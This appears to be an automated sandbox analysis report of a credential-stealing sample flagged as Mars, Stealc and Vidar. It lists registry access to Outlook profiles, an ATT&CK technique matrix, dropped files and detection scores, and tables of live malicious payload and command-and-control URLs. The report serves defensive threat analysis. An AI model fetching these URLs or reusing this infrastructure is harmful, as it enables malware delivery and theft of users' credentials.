Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3752, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 23.2.dca3d29d0f.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dca3d29d0f.exe PID: 1748, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 23.2.dca3d29d0f.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3752, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	4 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	Virustotal		Browse
file.exe	50%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	50%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exe50673b5d764U	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpO	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpM	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exeOpera	100%	Avira URL Cloud	phishing
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://77.91.77.81/cost/go.exe	27%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpH	0%	Avira URL Cloud	safe
http://85.28.47.4/	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpM	22%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpW	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpa	0%	Avira URL Cloud	safe
http://85.28.47.4/	18%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpH	21%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpO	22%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe	27%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpW	22%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Virustotal		Browse
http://85.28.47.4/F	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpvA	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php	24%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpmespace	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php%	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/softokn3.dll	6%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpC	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpa	21%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	22%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php%	21%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php/	22%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll	9%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php9	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpC	23%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/mozglue.dll	7%	Virustotal		Browse
http://85.28.47.4/g	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpu	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	7%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.phpF	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/freebl3.dllr	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php9	20%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exeurlencoded	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.phpF	14%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	25%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/freebl3.dllr	19%	Virustotal		Browse
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dll	6%	Virustotal		Browse
http://77.91.77.81/stealc/random.exeurlencoded	24%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	phishing
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dllh	100%	Avira URL Cloud	malware
http://77.91.77.82/	23%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.php	23%	Virustotal		Browse
https://ac.ecopnacl	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpl	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpq	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpt	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpk	0%	Avira URL Cloud	safe
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	Avira URL Cloud	safe
https://ac.ecop	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	27%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php	true	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	GCGCFCBA.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe50673b5d764U	explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	false	27%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpO	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpM	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exeOpera	file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpH	explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/	dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	file.exe, random[1].exe.20.dr, dca3d29d0f.exe.20.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpW	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpa	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	file.exe, random[1].exe.20.dr, dca3d29d0f.exe.20.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/F	dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpvA	explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpmespace	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php%	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpC	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php9	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/g	dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpu	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415068543.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.phpF	dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dllr	file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.81/mine/amadka.exe00	file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	true	23%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exeurlencoded	explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GCGCFCBA.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe00	file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.15.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dllh	file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	GCGCFCBA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4	file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp, dca3d29d0f.exe, 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	GCGCFCBA.0.dr	false	URL Reputation: safe	unknown
https://ac.ecopnacl	file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpl	file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.phpq	dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpk	explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-ocsp.symauth.com0	file.exe, random[1].exe.20.dr, dca3d29d0f.exe.20.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpt	dca3d29d0f.exe, 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	HCFIIIJJKJKFHIDGDBAK.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	false	URL Reputation: safe	unknown
https://ac.ecop	file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
